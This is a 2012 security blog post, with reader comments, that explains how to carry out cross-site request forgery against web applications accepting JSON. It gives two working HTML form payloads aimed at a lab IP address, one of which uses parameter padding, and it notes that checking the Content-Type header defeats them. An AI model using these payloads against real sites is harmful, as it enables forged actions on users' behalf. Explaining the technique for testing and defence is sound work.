Tuesday, February 7, 2012

JSON CSRF with Parameter Padding

by Gursev Kalra.

The JavaScript Object Notation (JSON) format is one of the prominent data exchange formats of the contemporary web applications. When a web application implements JSON, Cross Site Request Forgery (CSRF) payload delivery gets bit tricky because of query string and JSON format mismatch. With couple of tricks however, we can successfully execute CSRF attacks with JSON payloads.

Let’s assume that the browser sends the following JSON to the web server.

{"a":1,"b":{"c":3}}

Scenario 1

One of the mechanisms to execute JSON CSRF is to use the entire JSON payload as parameter name in a self submitting form. For example, loading the HTML code below and clicking the submit button sends malicious JSON to the web server:
1:  <html>  
2:  <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >  
3:  <input name='{"a":1,"b":{"c":3}}' type='hidden'>  
4:  <input type=submit>  
5:  </form>  
6:  </html>  

At line# 2, the enctype form attribute is set to text/plain so that the JSON gets delivered as is. The enctype attribute may not be required, but is good to have. At line# 3, entire JSON payload is provided as a parameter name. When the form gets posted, the payload is delivered and CSRF executes.

Image below shows JSON payload delivery with the technique described above.


This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the trailing ‘=’ character.


Scenario 2 (JSON Parameter Padding to the rescue)


In scenario 1, the trailing ‘=’ character may ruin the party when server side JSON parsers enforce strict parsing rules. To overcome this, an additional parameter can be padded towards the end of JSON payload to send a well formed JSON. As with regular GET & POST parameters, JSON parsers will successfully parse the JSON, pick the required parameters and ignore the extraneous ones. This allows a successful CSRF attack against vulnerable web applications.

Below, the HTML code in scenario 1 is modified to add an extraneous parameter to the JSON payload:
1:  <html>  
2:  <form action=http://192.168.1.41:3000 method=post enctype="text/plain" >  
3:  <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>  
4:  <input type=submit>  
5:  </form>  
6:  </html>  

At line# 3, the component in red is the original JSON and the blue component helps add the extraneous parameter to the JSON payload. The screenshot below shows the JSON payload delivered when the above HTML is executed. The ignore_me parameter absorbs the trailing ‘=’ character and has a value “=test”.

The end result, successful JSON Parsing and CSRF goodness :)

Image shows a well formed JSON sent using parameter padding

It is important to note that the discussed attack vectors may not work if the server validates the “Content-Type” request header to represent a JSON payload.

5 comments:

  1. The same trick is well known for XML payloads

    ReplyDelete
  2. You can also end the name attribute with // which will comment out the '=' and value attribute. Although comments are not correct JSON it will be allowed by JSON parsers such as the popular Jackson parser.

    ReplyDelete
  3. awesome. just found this trick today and seems it's known already.
    great explained! +1

    ReplyDelete
  4. Hi can you provide an example(sample code) for request thts been sent using POST,returing Json for appln developed using GWT framework.

    ReplyDelete
  5. kp, GWT is a different beast and relies on custom serialization.

    You may want to refer to these two resources (for custom serialization) http://blog.gdssecurity.com/labs/2009/10/8/gwt-rpc-in-a-nutshell.html to start digging https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset and help you work towards your json payload.

    ReplyDelete